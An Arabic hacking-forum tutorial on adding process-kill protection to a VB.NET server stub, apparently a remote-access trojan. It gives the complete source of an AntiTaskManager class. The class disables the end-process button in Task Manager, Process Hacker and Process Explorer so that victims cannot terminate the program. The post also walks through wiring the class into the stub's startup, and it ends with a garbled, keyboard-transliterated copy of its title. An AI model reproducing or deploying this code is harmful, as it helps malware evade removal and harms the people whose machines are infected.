[X-BᴙNš]

قتل . قتل .قتل

.,":شرح اضافه خاصيه قتل او تخطي Process باباتش :",.باصور

سلام عليكم ورحمة الله وبركاتة

اخباركم يابحر الابداع

اليوم شرحنا اضافه خاصيه قتل Process بافيجول ستديو

ولله من زمان عنكم عارف بس ولله بي سبب دراسه واتمنى تسمحوني


متطلبات
1-VB.NET Code Source Generator Tools V 2.5 By ıllıllıMя.HackeяsDzıllıllı
2-كود منع قتل -=- بضعه بي اخر موضوع
3-vb.net = من 2008 وصاعد ^_^
4-باتش
شرح

1-اختر باتش
2-اضغط كما بيس صوره

بعدين افتح مشروع
=================================

1-نضيف موديل

==================================
لازم نخلي اسمه كذا
AntiTaskManager.vb


===================
نروح للموديل ونحذف كل الي فيه ونضع فيه كود =-- كود تلقه بي نهايه شرح
=======================
=============
=======
====
طريقه الاستدعاء
=
نذهب الى موديل ثاني
ونسوي كذا

قبل


بعد

===========================

نشوي فراغ  عند كلمة

Module Module2
نكتبت تحت ذي كلمة

    Dim c As New AntiTaskManager
    Dim t As New Threading.Thread(AddressOf c.protect)

نحط فراغ تحت كلمة 

        PvpvQMryxTiAVTiOHrenNIrcY.DYxkLxrInuhEKMpNyRex(DEVPOINT, Application.ExecutablePath)
ونتكبت تحته
Call t.Start()

===================
بعدين نسوي بلد = شرح عمل بلد = اضغط على زر
ctrl + shift + B
=============
انا لقيته هنا

C:\Users\BrN\Desktop\Server\bin\Debug
=====================


==
شباب مو لازم برنامج الاول

الى جيت تشفر او اي شي الى تبي تضيف سوي نفس شرح ونفس الاستدعاء

=================

واتمنى اضافه لقب على اسمي
يكون لقب مكتوب فيه
.,":ملك تشفير:",.
عارف اني مبالغ فيه بس اتمنى اضافته

Public Class AntiTaskManager
    ' C0d3d bY njq8
    <Runtime.InteropServices.DllImport("user32.dll")> _
    Private Shared Function EnableWindow(ByVal hWnd As IntPtr, ByVal bEnable As Boolean) As Boolean
    End Function
    Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As  _
    IntPtr, ByRef lpdwProcessID As Integer) As Integer
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As IntPtr
    Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As _
    Integer, ByVal lpClassName As String, ByVal nMaxCount As Integer) As Integer
    Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal _
    hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As String) As Integer
    Private Declare Auto Function GetWindowText Lib "user32.dll" (ByVal hwnd As Int32, _
    ByVal lpString As System.Text.StringBuilder, ByVal cch As Int32) As Int32
    Private Declare Auto Function GetWindowTextLength Lib "user32.dll" (ByVal hwnd As Int32) As Int32
    Private Delegate Function EnumWindProc(ByVal hWnd As Int32, ByVal lParam As Int32) As Boolean
    Private Delegate Function EnumChildWindProc(ByVal hWnd As Int32, ByVal _
    lParam As Int32) As Boolean
    Private Declare Function EnumChildWindows Lib "user32" (ByVal hWnd As IntPtr, _
    ByVal lpEnumFunc As EnumWindProc, ByRef lParam As IntPtr) As Int32
    Private Function EnumChild(ByVal hWnd As Int32, ByVal lParam As Int32) As Boolean
        CLD.Add(hWnd)
        Return True
    End Function
    Public Sub protect()
        While True
            Threading.Thread.Sleep(200)
            Dim hwd = GetForegroundWindow
            If hwd.ToInt32 = 0 Then Continue While
            Dim id As Integer = 0
            GetWindowThreadProcessId(hwd, id)
            If id > 0 Then
                Dim Title As String = ""
                Dim text_len As Integer = GetWindowTextLength(hwd)
                If text_len = 0 Then
                    Title = ""
                Else
                    Dim sb As New System.Text.StringBuilder(text_len + 1)
                    Dim ret = GetWindowText(hwd, sb, sb.Capacity)
                    If ret = 0 Then
                        Title = ""
                    Else
                        Title = sb.ToString
                    End If
                End If
                Dim p As Process = Process.GetProcessById(id)
                If p.ProcessName.ToLower = "taskmgr" Or p.ProcessName.ToLower _
                = "processhacker" Or Title.ToLower = "process explorer" Then
                    Dim button As New List(Of IntPtr)
                    Dim statics As Integer = 0
                    For Each x As IntPtr In GetChild(hwd)
                        Dim className As String = Space(200)
                        Dim ln As Integer = GetClassName(x, className, 200)
                        className = className.Remove(ln, 200 - ln)
                        If className.ToLower = "button" Then
                            button.Add(x)
                        End If
                        If className.ToLower = "static" Or className.ToLower _
                        = "directuihwnd" Then
                            statics += 1
                        End If
                    Next
                    If button.Count = 2 And (statics = 2 Or statics = 1) Then
                        EnableWindow(button(0), False)
                        SendMessage(button(0), &HC, 0, "sqebd")
                    End If
                End If
            End If
        End While
    End Sub
    Private CLD As New List(Of IntPtr)
    Private Function GetChild(ByVal hwd As IntPtr) As IntPtr()
        SyncLock Me
            CLD.Clear()
            EnumChildWindows(hwd, New EnumWindProc(AddressOf EnumChild), 0)
            Return CLD.ToArray
        End SyncLock
    End Function
End Class

المصدر: development-point - للمزيد تابع : قسم إختراق الأجـهـزه والأيـمـيـلات

---

><":avp hqhti ohwdi rjg h, jo'd Process fhfhja :"<>fhw,v rjg > rjg >rjg